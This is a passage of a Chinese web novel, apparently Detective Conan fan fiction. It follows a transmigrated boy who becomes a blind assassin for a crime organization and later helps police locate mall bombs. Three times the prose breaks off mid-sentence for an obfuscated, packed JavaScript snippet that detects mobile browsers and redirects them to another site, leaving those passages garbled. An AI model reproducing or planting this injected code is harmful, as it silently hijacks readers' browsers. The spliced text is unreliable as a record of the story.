诸伏爸爸是小学的国文老师,是温柔,耐心,偶尔喜欢恶作剧的孩子气的、他的父亲; 诸伏妈妈是八面玲珑,活泼好动,会做一桌子好菜的、厨艺天赋真正的持有者、他的母亲。 他们不是只在漫画中拥有寥寥无几镜头的背景板炮灰纸片人NPC,而是有血有肉活生生的人,是这个世界上爱着清浅的、他的父母,是他爱着的家人。 去他妈的剧情!去他妈的命运! 此刻,抛下身为穿越者知晓剧情预知未来的傲慢,诸伏清浅终于融入了这个世界——如深夜里危机四伏的迷雾之海,雾蓝色猫瞳中情绪如海啸翻涌,他不再只是对一个纸片人表达厌恶,更是在对一个伤害家人的凶手展露杀意。 孩童的身体爆发出前所未有的能量,清浅猛推一把外守一,竟然真的将一个成年人推了个踉跄。 “离我的家人远点!” 小孩子怎么可能打败成年人,所以清浅现在需要做的就是拖时间,拖到救护车或者警车来到。 “难道你将苦难施加到别人身上就能减轻你的痛苦了吗?!” 医院和他家的距离不远,甚至说很近,如果他没估算错误的话救护车就快到了。 小孩子灵敏的听力已经让他听见隐约的鸣笛声。 “松手!” 杀人的快感随着体内肾上腺素的下降被恐慌替代,急于离开案发现场的凶手刚迈开腿就被清浅扑了个踉跄。他恼怒地揪住清浅的衣领,试图把小孩从他腿上撕下来,却不想这死小孩狗皮膏药似的怎么甩也甩不掉! 想走?没门! 此时远处救护车和警车特有的鸣笛声逐渐清晰,明白了小孩在打什么主意的外守一双眼通红,已经达成双杀成就的利刃再度被高高举起,“嗤”的一声狠狠扎入清浅的右肩! 我掐柠檬! 清浅闷哼一声,痛楚让他的右臂颤抖,但他死咬着牙不让自己松手。 只要……只要撑到警察来就好了……! 外守一……你别想跑! 诸伏清浅的眼中闪过狠厉的神色,他必须拖住时间。 “我.叫.你.松手!” 嗤,又是一刀扎入,而且是扎在同一个地方,清浅神色痛苦,右臂因疼痛而本能地脱力——糟了! 外守一总算是将小孩从腿上撕下来,外面的鸣笛声不断接近,推测了一下警察到来的时间后他眼中狠色一闪而逝,竟是捂着诸伏清浅的嘴匆匆离开了诸伏宅。 ……如果现在杀了这小孩就来不及走了,先带他走——反正这小孩受了伤,没什么反抗的能力。 将诸伏清浅扔到他停在不远处的汽车的副驾驶上,处理好痕迹的外守一一脚油门踩下,飞速离开现场,徒留一地血腥。 * ……好困。 ……好冷。 ……没有力气。 诸伏清浅一身狼狈,圆润的猫眼半阖着,瞳孔都有些涣散。右肩伤口的血迹染湿了靠椅,失血带来的debuff让他想要奋起反抗都做不到。 ……暴起抢他方向盘,能让这混蛋出车祸吗? 他苦中作乐地想着。 ……真好笑啊,他和外守一两个仇人竟然如此“和谐”地坐在同一辆车里。 诸伏清浅现在感觉自己的灵魂仿佛被分成两半,一半被愤怒的烈火灼烧着,另一半泡在冰水里让他能够保持冷静的思考。 ……虽然根据前世贴吧里大佬们的分析和现在的状况来看,外守一是激情犯罪,劲头过后就很难再有挥刀的勇气——但清浅不认为他会放过身为目击者兼亲历者兼受害者的自己,明确的仇恨让他们势不两立,若外守一不杀自己,为了保证自己不会去告发他的罪行,他一定会选择囚禁——他是否能看住自己另说,但这样意味着他要养小孩,事儿多,且难度太大,还不如杀了埋掉。 ……可他如今还有反抗的力气吗? 诸伏清浅动了动因失血发冷僵硬的手指,视线略过手刹旁沾着血迹的刀子,看向窗外郁郁葱葱的树木——他们在盘山公路上。 真无能啊,诸伏清浅。 没能救下诸伏爸爸和诸伏妈妈,以后高明哥和景光哥只能相依为命——他绝对是最差的一届穿越者,啥也没做,啥也没干,没有系统,没有金手指,就平平无奇普通人一个,还很快就要死掉。 ——所以他存在的意义是什么呢? 他很感谢给了他一个家的家人们,虽然时间只有短短四年但这是前世他梦寐以求二十多年的亲情。 ——我能给他们报仇。 所以—— 老子就算是死也要拉着个垫背的! 【叮——】 【检测到异界灵魂波动,系统匹配中……匹配成功】 【检测到关键节点,即将提前唤醒系统……唤醒成功】 【体质改造中,技能录入中loading……】 诸伏清浅:……啊? 起伏的情绪被这么一打岔,清浅一口气卡在喉咙里不上不下的。 不怪清浅懵逼,只是系统这种东西他不是没想过,但自穿越后四年来都不见一个统影,他还以为这辈子和穿越金手指无缘了。 未等清浅反应过来,大脑泛起一阵针扎般的疼痛,海量的信息灌输如脑子,让他疼得脸色发白。 【已完成】 【诸伏清浅先生,祝您生活愉快】 * ……小孩还挺安静。 外守一余光瞥了一眼脸色发白的诸伏清浅。也对,流了这么多血估计也没什么力气。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15835122|175638||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >就在外守一将精力抽回放到前方路况的那一刹那,诸伏清浅突然暴起,一抹银光向他袭来! 外守一:!!! 就在这千钧一发的时刻,外守一眼前的一切都如电影的慢镜头一样倍速放慢,让他看清了诸伏清浅手中的利刃和他眼中的痛苦和杀意! 会死! 强烈的危机感驱使着外守一猛打方向盘,强烈的惯性让诸伏清浅重心不禁向后倒去,刀子险险地在外守一侧面脖颈的大动脉处划出一道血线! 这小子,他刚刚是真的想杀了我! 回想刚刚那惊险的一幕,差点被杀的外守一惊魂未定,回过神来身侧的小孩已经撬开车门的锁逃跑了! “……草!回来!”明白小孩打的就是将车逼停好逃走的主意,外守一凶狠的神情从脸上划过,也跟着清浅的步伐一头扎进公路旁被黑夜吞噬的山林。 呼,呼…… 诸伏清浅一边调整着呼吸,一边跟着在他一侧悬浮着、散发着充满科技感的淡蓝色透明面板上的地图侦查的指示在山林里左右腾挪。 ‘现在,解释。’ 在他一击不成后他意识到一定有什么东西在阻拦他——系统给他刻录的技能让他肯定自己可以做到一击必杀,但外守一一个普通人的反应速度着实快得过于反常。 似是回应他,一段念头浮现在他的脑海中。 阻拦他的是世界意识。 因为祂是漫画主世界的附属衍生世界,想要脱离主世界成为一个独立的世界的话祂必须拥有能够独立支撑世界运转的根基。 而稳固根基的方法就是走情——准确的来说是点亮剧情节点。比如长野入室杀人案,它的剧情节点是“家逢剧变,诸伏景光下定决心报考警校”,只要点亮节点,其他的剧情祂既不负责——所以诸伏父母并非必死,在清浅这只小蝴蝶翅膀的煽动下他们活下来了。 外守一还要参与未来“诸伏景光和好友们亲自抓到幼年噩梦的凶手”的剧情节点,所以现在暂时还不能死。 顺带一提,根据祂的计算,只要气运之子诞生,祂就有能力脱离主世界了——所以说只要等到柯学元年开启,江户川柯南诞生,到时候诸伏清浅想怎么造作就怎么造作。 ……爸妈还活着。 诸伏清浅的脑子混混沌沌,听闻此言用意念调动面板,看到标注着诸伏父母和诸伏景光的三个绿点点定位果然正在快速往医院的方向移动,不由得松了口气。 真是……太好了。 绷紧的精神放松下来的后果就是身体上的脱力,清浅脚下一个踉跄,狼狈地摔下山坡——良久后他动了动,四肢百骸中的痛楚被牵动,让他根本没办法调动力气。 ……好累。 ……我快死了吗? 地图上一个黑点定位正在朝他靠近,清浅躺在地上静静地看着它在地图上慢慢挪动。 ……等等。 他记得外守一的定位是红色的? 那这个是谁? 不好的预感在他心中浮现,此时黑点定位距他已经不到两百米。 【贝尔摩德】 诸伏清浅悬着的心终于死了,硕大的惊吓让他大脑清醒几分。 ber,大哥你怎么在这种深山老林里?难不成这里附近有组织的基地吗?! ……好像还真有可能。 一时间清浅都不知道该骂自己晦气还是夸自己幸运了。 随即他又想到一个问题。 贝尔摩德是谁? 黑方,千面魔女。 更重要的是,她是未来景光哥卧底的组织的成员。 手动高亮,清浅,和景光哥长得很像,比诸伏高明还要像,是那种脸盲看了都知道他俩是亲兄弟的那种像,是诸伏妈妈偶尔也会认错的那种像。 ……不能让她发现。不能妨碍景光哥的卧底工作。 ……可他不会易容,任何在外表上的伪装都会被千面魔女发现。 “啊啦,看我发现了什么?” 诸伏清浅阖上眼,攥紧了手中的水果刀。 ……如果眼型会暴露,那就闭上眼睛。 ……如果声音会暴露,那就不要说话。 ‘您会帮我的,对吧?’ 世界意识没有回话。只是在诸伏清浅昏迷过去后,系统对诸伏清浅的状态进行了更新。 【姓名:诸伏清浅】 【年龄:4】 【技能:敏捷MAX,速度MAX,耐力MAX,听力MAX,隐匿MAX,轻功MAX,伪装MAX,身法技巧MAX,偷盗技巧MAX,潜入技巧MAX,撬锁技巧MAX,轻型武器MAX】 【身体状态:失血,轻度脑震荡,发热39.4℃(点击重新自检)】 【系统辅助功能:地图侦查,时间闹钟,拍照记录存储,原著漫画番剧剧情】 【刺啦——更新身体状态】 【增加持续debuff:幻视、失语】 【debuff锁定中……】 【锁定成功】 10. 未雨绸缪 ……怎么就梦到以前的事儿了。 清浅从床上坐起身,系统面板上时钟显示的01:27一闪而过。 他推开安全屋的窗,借力三两下翻到天台,试图让夜晚的凉风吹醒自己有些混沌的脑子。 凉风习习,深夜安静下来的城市偶尔传来汽车悠远的鸣笛声,旷远的氛围不禁让清浅的思绪飘忽起来。 “拉斯维加斯的夜景还是蛮不错的不是吗?” 哗啦——是斗篷划过空中的声音,带来夜晚神出鬼没的怪盗优雅的问好。 “[嗯,虽然看不见,但城市安静下来后,晚间的风吹过海浪,天地辽阔,让人沉醉。]”清浅回头,“[晚上好,怪盗先生。]” “虽美景令人沉醉,但也要注意身体啊。” 诸伏清浅默不作声地收回瞥向系统面板上标着“低烧”的身体状态栏的视线。 斗篷一挥,穿回常服的怪盗乌鸦嘴角嚅着一抹优雅从容的笑,将一盒磁带抛出,毫不意外地看着目盲的少年精准地接住。 “这应该是最后一盘磁带了。” 清浅的动作一顿,电子音的朗读听不出一丝感情。“[……我会遵守约定。]” 说实话,他会和黑羽盗一产生交集纯属巧合。 两年前组织有笔军火交易要和拉斯维加斯里世界最大的军火商谈,就把清浅派了过来。 商谈的过程不太融洽,因为最近恰逢军火商家族的成立周年,准备庆典的他们意外发现了一位最近爱偷宝石的贼人给他们家发了预告函,扬言要偷走他们家祖传的一颗蓝钻。 而军火商又刚好知道组织在国外活跃的影子杀手的赫赫威名,便把主意打到了清浅身上,想让他当几天保镖守护宝石。 诸伏清浅第一反应:这该死的即视感,到底是谁在COS怪盗基德。 黑羽快斗今年才10岁啊! 诸伏清浅第二反应:这老灯牛逼,想让酒厂代号成员给你当保镖,酒厂脸面何在。 组织威严不可侵犯,这家伙路走窄了啊。 诸伏清浅冷着脸用电子音和对方扯皮条,表面上答应对方的要求暗地里却已经开始安排人铲土给对方挖坑了。 * ……我真傻,真的。 夜晚,在屋顶和身穿黑色怪盗服的怪盗乌鸦对峙的清浅看似冷面修罗,实际上他黑布下的上挑猫眼目光呆滞,人已经走了一会儿了。 受漫画番剧影响,他一直把怪盗基德和黑羽快斗划上等号,直到现在见到人了他才反应过来—— 1987年虽然快斗还小,基德不会出现,但他是二代基德啊!他爹一代基德没死而是换了个号在拉斯维加斯浪啊! ……靠,得罪原著大佬,不愧是我:( ……总之,和易容术鼻祖胆颤心惊地谜语人一两句、过了两三招后清浅成功讨回被检验过不是潘多拉的蓝钻,并决定把气撒在倒霉的军火商身上。 ……但事实证明,人生无常,大肠包小肠。 处理完军火商后的某个万里无云的好天气,拉斯维加斯的某个公园里虽然没有整点薯条的海鸥,但有想要整点面包的鸽子。 诸伏清浅难得慵懒地在长椅上滩成一张猫饼,有一搭没一搭的将面包捻成碎碎丢出去,不一会儿他的周围和身上都长满了鸽子。 周围没有组织的人,诸伏清浅便难得地将黑布扯下,在阳光的沐浴下满足地眯起漂亮的雾蓝色猫眼。 ——虽然看不见,但阳光晒在身上真的很舒服。 “啊啦,亲爱的,你的鸽子叛变了哦~” “嘛,真是难得,不过它们会回来的…吧?” 和老婆出来约会的黑羽盗一和那双无神的雾蓝色猫眼对上,嘴边的话卡了一瞬。 ……掉马,就是这么措不及防。 啊啊啊啊一忘皆空!一忘皆空!Obliviate!他需要一个遗忘咒! 同样被看到真容的诸伏清浅应激反应比黑羽盗一强得多,掏枪灭口的手蠢蠢欲动,但掏到一半最终还是僵着脸换了个方向掏出手机。 黑羽盗一看着少年缓缓坐直身体,将窝在脑袋上和长在身上的鸽子扒拉下来,掏枪的手半途改成掏手机——然后他自己的手机响了。 【您当怪盗时用的竟然是本音?——from ASAI】 黑羽盗一:……? 啊,目盲之人的听力确实很好,认得出自己的声音不奇怪……等等这是重点吗? 黑羽盗一不是很想追究对方为什么会知道他的邮箱,但这不代表对方不追究。 ……那孩子想学易容术。 黑羽盗一连他的鸽子都没有喊回来,在两人的默契之下双双装作若无其事狼狈地地回了家,在邮箱里飞来飞去的mail中开始了一场很刑的谈判。 ASAI,浅井,那个十八九岁的孩子虽然双目失明口不能言,但他身上里世界的黑暗气息和他在军火商家里的领导地位做不了假。 那个如乌鸦般漆黑的组织,虽不是追杀他的动物园组织,但怪盗先生也对那个庞然大物略有耳闻。 ……是一个很危险的孩子。 怪盗先生沉默,脑海里却浮现出少年瘫在长椅上晒太阳的画面和那双漂亮的猫眼。 ……是一个拥有宝石般澄澈灵魂的孩子。 擅长看透本质的怪盗先生很快发现了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15835123|175638||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 埋在污泥中的漂亮宝石。 * ……这孩子,活该吃这碗饭。 黑羽盗一在一旁看着少年流畅地调配材料制作□□,扑克脸下是对这位弟子天赋的赞叹。 当年思虑再三答应诸伏清浅的请求时黑羽盗一就做好了长期教学的准备,毕竟目盲是一项难以跨越的阻碍,看不见的情况下对□□上细节的处理比登天还难——反正身为易容术鼻祖的黑羽盗一做不到闭着眼睛做面具。 ——但看不见不代表做不好。 诸伏清浅熟练地按脸摸骨确定五官脸型,在心中构建出面容的细节,然后开始用材料定位易容。 开玩笑,前世他COS妆画的还少吗? 诸伏·拥有扎实妆造基础 ·清浅表示这玩意儿他熟啊。 “浅井君为什么要学易容术呢?” 就在面具即将完成之际,黑羽盗一轻声问他。 当年与其说是交易,不如说是清浅绵里藏针的威胁,黑羽盗一在其中完全落入下风——他至今仍震撼于诸伏清浅的情报网,两次见面间间隔的时间如此短暂,但他的真实身份还是被扒了出来。 诸伏清浅在交易中只是浅浅提了一句对方的身份,重点还是落在易容术的掰扯上,这让黑羽盗一不禁放松几分。 在得到对方“易容术将会用于保护正义”的承诺后黑羽盗一沉思许久,识人阅历丰富的怪盗先生决定相信自己的直觉,答应了这份不平等交易。 ——然后他受到了一份极具诚意的交易条款。 包括但不限于对威胁自己感到抱歉并承诺可以用人情抵债,担保不会泄露自己的身份,若有需要他可以每年列一份易容术使用记录报告给他。 看来传闻不可尽信。 删掉电脑里关于夏特勒兹的情报的黑羽盗一如是想到。 诸伏清浅闻言默了一瞬,放下手中的化妆刷拿起手机打字。 “[黑羽先生对卧底搜查官怎么看]?” 黑羽盗一闻言一肃:“是令人敬佩的英雄。” hero啊…… 诸伏清浅指尖停在键盘前,许久才按下一个字母。 “[遗憾的是,在组织里我负责大部分的卧底排查工作。]” 他相信黑羽盗一能够听懂。 “[幸运的是,我负责大部分的卧底排查工作。]” 他的目光停留在系统面板上【诸伏景光卧底身份暴露,天台赤井秀一自曝身份,莱伊波本关系破裂】的剧情节点默默咬紧牙关。 景光哥的身份必定会暴露,但并非不能活。 他不会让原著里天台的悲剧出现,他会成为景光哥的退路。 11. 商场炸弹 虽然过程有些艰难,但诸伏清浅还是尽快将国外工作的尾巴交接完毕,回到日本的安全屋后彻底瘫着不动了。 啊——好累,不想干活—— * 诸伏清浅回过神来,发觉自己好像在水里泡着。 ……水里? 他睁开眼睛,突然就看清了自己身处何方。 天空是灰蒙蒙的颜色,空中弥漫着淡红色的不祥雾气,每一口呼吸清浅都能感受到雾气钻入气管,带来辛辣的刺激和挥之不去的血腥味。 ……啊,老地方了啊。 他从水中起身——应该说是血中——也不对,水里浸染了太多的血液,已经分不清是水还是血了,然后他一脚深一脚浅地上了岸——他登陆的也不是陆地,而是一座由尸体堆砌出来的、在茫茫血海中的一座孤岛。 当然,岛上的尸体都是由他造成的,清浅每一脚踏下去,脚下的尸体就会像被踩到的尖叫鸡一样发出凄厉的哀嚎和尖叫。 “……啊,又见面了,布莱克斯。”诸伏清浅看了眼脚下的尸体,认出了对方是谁——他当然认得出来,他记得每一个他杀死的人。 “待会再和你聊天吧,前两天来了个新人,我需要去记一记。” 系统的顶级刺客模板给他刻录的技能让他不用思考也能凭借肌肉记忆手起刀落,生命在他手中消逝,可他却看不见,对此没有太多的实感。 ……这可不是什么好事。 生命的珍贵不言而喻,生命的重量不可忽视,死去的人们不当死去,灵魂的罪恶不应由他审判。 你需反省,你需铭记,你需接受惩戒。 于是,目盲的杀手看见了颜色,看见了由他杀死的人们构建的尸山血海。 这是噩梦,但也是警醒,他甘之如饴。 “……好了,我记住你了,石川岛成先生,我们下次梦里再见。” 血色逐渐退去,视线重新陷入一片虚无的黑暗。诸伏清浅意念一动,淡蓝色的系统面板在他脑海里浮现,电子时钟上跳动的数字显示着他睡了四个小时。 “叮——” 邮件?谁—— “叮叮叮叮——” 这下清浅是真的清醒了,如此密集的消息让他忍不住打开系统视线看了一眼—— 是清一色的任务和待办事项。 望着任务下面发布人署名为RUM的诸伏清浅:“……” 【这是BOSS下派下来的任务,速度要快,夏特勒兹!Time is money!——RUM】 死光头!我去年买了个表!别以为我不知道里面有大半的任务是你恶意加塞过来的! * 九月真是一个不愉快的季节,开学的学生拼死赶作业ddl就算了怎么社畜的工作也这么多。 等埋头苦干东奔西跑顺便坑回一把朗姆的诸伏清浅处理完组织事物抬头一看系统日历,十月都快过半了。 哎,难道我是个天生劳碌命吗,不行啊社畜哒咩—— 诸伏清浅点开个人待办事项,看见了11月7日的红色标注。 诸伏清浅:…… 诸伏清浅再看了看日历,十月都快过半了。 ……老子该不会真的是天生劳碌命吧? 啊啊啊浅井别墅啊!! ……总之,对着番剧和漫画死磕(划掉)考究许久,再加上实地考察后,诸伏清浅总算确认了那层被炸的倒霉公寓,幸运的是那层公寓是样板间,尚未出售——难怪会被装炸弹,只要和中介说要去看房子谁都能进去做手脚。 他买下来应该不会影响剧情开展吧? 诸伏清浅打开系统面板猛敲灰色不可点开的客服按钮。 实际上一按就能联系上的世界意识:……没事,世界线会收束的。 那感情好。 诸伏清浅满意地去下了单。 虽说这套房子注定一次性报废,花组织的钱也不心疼,但该做的伪装和痕迹还是要做的。 站在新房子里的诸伏清浅在系统里列好采购清单,确认一番后敲着盲杖打车去了米花购物商场。 * ……失策了。 砰! 在顾客们惊慌失措的尖叫声中,劫匪不耐烦地朝天开了一枪。 “都给我安静!蹲好!” 在二楼超市也能听清楚一楼大堂动静的诸伏清浅深吸一口气,将手中的陶瓷碗放回货架,转而从一旁货架上的不锈钢托盘拿下来。 ……差点忘了,这里可是三天一小案,五天一大案,偶尔八个蛋的民风淳朴米花町啊。 没过多久诸伏清浅就能听见警笛声逐渐接近,警察的出警速度还不错。仗着听力好,他盘腿坐在地上靠在货架旁拆开一袋购物篮里的巧克力,一边吃一边听劫匪们和警方谈判。 嗯……求财;有枪,听声音应该是□□,装备不错;放了定时炸弹……嗯? 等等你说你放了什么? 所以他先前听到的似有似无的滴滴声是八个蛋的倒计时吗?! 诸伏·今天出门戴了降噪耳机·所以有些听不清·清浅默默咽下巧克力,有些坐不住了。 * “目暮警官,情况如何?” “是萩原老弟啊,还在谈判,劫匪要求给他准备五亿现金,另外他们还在商场里安装了定时炸弹。”目暮警官神情严肃,望向□□处理班的带队队长萩原研二。 “炸弹数量不知,类型不知,剩余时间不知,而且里面有上百人质被他们控制,情况很糟糕。” 穿着简单防爆背心的萩原神情也严肃起来。 虽入职不过短短数月,但他和小阵平凭借超高的拆弹水平快速升了职,成了队长各自带领一队小队。 因为爆处班需要24小时随时待命,所以大部分时间他和小阵平的轮休都是错开的,今天正好是他当值,小阵平现在应该在家里拼模型吧。 脑海里想着一些杂七杂八的事情,但萩原研二手里也没停下,快速收集了这次勒索案的信息,顺便从逃出来的商场经理那儿要了一份商场地图。 谈判进展还算顺利,劫匪们同意了先释放部分人质,但警方也同样需要先准备一部分现金。 看着商场分布图的萩原研二眼见大部分人质从中离开,逮住经理问道:“商场还有其他出口吗?” “没,没有。”发生这么大的事经理神色难免憔悴,“所有入口都被劫匪们堵住把守了。” “我看见商场的一楼有家超市,所以——” “超市有其他的出口吗?” 经理一愣,眼里突然亮起光。 还真有,超市是双层的,里面有连通一楼和二楼的扶梯。 * 有人来了。 诸伏清浅耳朵一动,精神细听。 八……九……十,十个人的脚步声,沉稳干练,重心稳健,训练有素,是警察。 在谈判时间里潜入,是要来拆弹的爆处班吧? 清浅叼着根巧克力棒思考,想要离开的动作又收了回去。 虽然不知道来的是谁 ,但天赐良机,趁机在他们面前刷个脸熟先。 清浅坐在地上没动,听见脚步声上来后和对方对上视线。 诸伏清浅:“……” 他一瞥系统地图侦查上离他不远的绿色定位旁标注的“萩原研二”,心道有些人真的经不起念叨。 他率先打破沉默,在随身带着的草稿板上写道:“[警察?]” 萩原研二这会儿可不认识诸伏清浅,看见超市还有人后心里一惊,但一看对方的情况大概也知道为什么对方没有和其他人一起撤离。 目盲,哑巴,在这种情况下算得上是行动困难人员;看上去很年轻,也很聪明,知道自己的情况后会在原地等待救援,而且看起来状态很……松弛? 萩原研二哭笑不得,但亲和力MAX的交际花警官先生放轻了声音,用一种让人放松的轻快语调安抚他:“是哦,我是萩原研二,一名警察。你呢?” “[……浅井,浅井尘。]” “那么小浅井,你或许已经知道这里发生了什么?我会让我的同事先带你撤离——新田君?” “是,队长。” 萩原直起身,继续分配任务。“剩下的人分成五组去各个楼层排除炸弹,遇到后向我报告——” “……那个,队长。”新田犹豫的声音传来。 萩原回头,只见新田侧开身子露出诸伏清浅和他手里的板子。 “[你们说的炸弹会发出‘滴滴’声吗?]” “[如果是的话我可能知道炸弹在哪里,我今天要买的东西很多,所以所有楼层都逛了一遍。]” “[我可以帮忙。]” 萩原研二沉思片刻后扭头看向队里资历最老的前辈,这种情况他还是头一次遇到。“山崎前辈?” 山崎前辈沉吟一会儿:“给他一件防爆衣。” 那就是同意一起行动了。萩原研二脸上绽开一个舒心的笑容: “那就拜托你了小浅井。” 最后小队兵分两路,萩原带着两名队员先跟着清浅把他听到的炸弹拆掉,山崎前辈则带着剩下的队员逐层排查。 因为怕被劫匪们发现,大家都是走楼梯。清浅用盲杖戳了戳阶梯预测台阶的高度后便扶着栏杆健步如飞,很快就来到对应的楼层。 “小浅井?”见清浅停下,萩原小声询问,得到对方比划一个安静的手势。 三人闭嘴,不明所以地和清浅站在原地。 凝神,细听。 诸伏清浅屏除杂念,听力MAX带来的增益让他能够将细微的声音收录整理成他想要的信息。 劫匪们的谈话声,空调运转的呼呼声,电机工作的滋滋声,以及—— 滴,滴,滴,滴。 炸弹倒计时的滴滴声。 “[……找到了。]” * 咔哒。 “呼——搞定。”萩原研二长舒一口气,擦了擦额头上的汗水。 这次的炸弹是比较常见的定时炸弹,原定是一个小时后爆炸,但现在嘛—— 看着显示器上熄灭的00:32:47,萩原扭头问道:“这是最后一个了吗?” 诸伏清浅对自己的听力MAX还算自信,但闻言他还是摇头,在板子上写道:“[除了一层的不太清楚,二层往上应 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15835124|175638||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 该没有了。以防万一还是要排查一遍。]” 此时两只队伍汇合,山崎前辈看着一身清爽的萩原眉头皱起:“萩原,你又没穿防爆服。” 萩原研二身形一僵。 “啊哈哈,因为时间紧急嘛,又不确定炸弹数量,为了保持效率所以……我下次会穿的啦前辈。” 防爆服……萩原研二没有穿防护拆弹吗? 诸伏清浅大为震撼,诸伏清浅的视线如有实质,刺得萩原如芒在背。 萩原,不得不说原著里你死的真的不冤。这才任职几个月啊就把规章制度扔了在作死的边缘反复试探呢。 “[萩原警官,稍微重视一下自己的安全吧。]” “谢谢小浅井关心啦,我以后会注意的——” 知错了但不改是吧。 敏锐听出萩原话里的安抚清浅就知道这家伙听进去了但没太多重视,他脸色一垮冷漠写道: “[……不然我会去警视厅给你写投诉信的。]” 要是他能给萩原叠十个八个盔甲护身,萩原拆弹穿不穿防爆服他才不care。 问题就是叠不了啊,那物理防护当然是能加就加,柯学世界又不能复活。 “……呜哇,好可怕的威胁。”笑容从萩原脸上消失了,取而代之的是惊恐的神色。 笑容转移到了山崎前辈脸上,他哼笑一声,拍了拍萩原的肩膀,准备去一层和外面的同事里应外合将歹徒们制服。 清浅没去,像他这种犯罪集团的员工主打一个低调行事,尤其是自己的特征这么明显,接触警察这么一件在组织敏感神经上来回踩踏的事情的后续处理已经够清浅警惕一段时间了。 他在一位小警察的带领下安全撤离,几个闪身躲开周围人的视线一头钻进小巷里。 在里面待到外面的警察们一拥而上冲进商场将劫匪们抓捕归案,萩原研二安全出来后他才放松地叹口气,在对方察觉到之前遁入小巷的阴影中,避着人流和监控离开。 初次见面留个印象就足够,他现在的身份可不适合和警察深交——尤其是萩原研二这个人际关系网成谜的交际花,若他对自己感兴趣估计用不了多久就能打探到自己的消息——在官方认证的观察力和洞察力top面前谨慎一点总没错。 * 不得不说诸伏清浅的预测很准确。虽然人口基数摆在那儿,但残疾人依旧是少数群体,日常生活中也是难得一见的——更别说聋哑瞎清浅就占了俩,个人特征太过明显,丢在人群中想忽视都难,见过的人大概率都会留下较深的印象。 要不是诸伏清浅隐匿身形和降低存在感的天赋(系统技能)太过非人,当年BOSS都不放心使用这把刀。 成功用高超的话术技巧将报告甩给一起出任务的队员,萩原研二一下班就窜门到松田阵平的宿舍,光明正大地吃掉了幼驯染冰箱里的最后一个饭团并收获对方友爱的一拳。 松田阵平:饿了没吃?那吃我一拳:) 随便解决完晚饭,爆处班的王牌双子星一齐将魔爪伸向最近新出的模型,一边拼一边分享今天的趣事。 拜身为社交恐怖分子的幼驯染所赐,社交技能根本出不了新手村的松田可能是警视厅八卦消息第二灵通的人。 “说实在的小浅井真的很厉害,小阵平不在现场不知道,但小浅井只是站了一会儿就能根据炸弹的倒计时声找出整层楼的炸弹。”萩原研二感叹不已。要知道他就算集中精神也只有离得近了才听的出若隐若现的滴滴声! 这真的是人类能够拥有的听力吗? “确实有这么个说法,说是盲人的听力会比普通人要敏锐——不过站一会儿就能知道炸弹再拿真的不是夸张手法吗?” 松田大发慈悲地从模型中抽出一丝精力狐疑地看向他的幼驯染,却没有从对方的神情里看出半分玩笑的意思。 松田:“……” 松田:“所以你想说听声辨位真的存在是吗。” “啊——好可惜,等我拆完蛋出来的时候已经找不到小浅井了——他超有趣的!” 直觉系卷毛总感觉哪里不对:“是吗,但我总感觉你有什么瞒着我没说。” 萩原:“……” 萩原神色不变:“我在想小浅井应该是最近才搬来附近住的吧,毕竟这么显眼的一个人我不可能没注意到。我在超市遇到他的时候看见他购物篮里有碗筷和洗漱用品,临走时还在收银台上放了钱结账——啊他好像给多了?” 幼驯染的思维有些跳脱,但松田早已习惯这个,丝毫没给对方转移话题的机会。 “嗯哼,所以你瞒了我什么?” 萩原:目移.jpg “萩,你在心虚。”松田眯眼,连手里的模型都不拼了。“有什么是我不能知道的?” “……没什么。” “……不想说就算了。”直觉系将人盯得发毛,到最后反而退了一步。 反正他和萩是幼驯染,总有一天萩会告诉他的——他们之间没有秘密。 萩原研二如获大赦,暗自松了口气。 ……因为没穿防爆服差点被人家投诉什么的他是绝对不会和小阵平说的!hagi酱绝对会被揍的! 12. 第一份便当! 虽说打着浅井别墅用一次就作废的主意,但细节也要做到位。将下单后陆续送货上门的生活用品一一摆放好,接下来诸伏清浅就要在浅井别墅的公寓里生活一段日子了。 反正这个月组织的业绩也达标了,才刚互给对方使绊子挖坑,朗姆也会消停一阵子,诸伏清浅现在就处于写完作业的孩子能够撒欢玩的状态,从系统的备忘录里拉出自己的待办事项开始疯狂赶工。 浅井尘这个身份背景和内容算是他的亲身经历,因为视觉和发声的问题他不适合弄太多的假身份,也不好造假伪装,后面干脆学贝尔摩德弄了个公众人物的身份,闲下来就画画漫画码码字,编编曲子写写歌。 前世搞同人创作和oc的技能抖抖灰还能用,就算在家瘫着副业也忙到飞起。 ……只是打开日常生活使用的手机,叮叮当当的邮件提示声让他梦回被朗姆加塞任务的日子,清浅面容不禁扭曲一瞬。 粉丝信件……扔给编辑;编辑催稿……这不没到ddl吗催什么催! 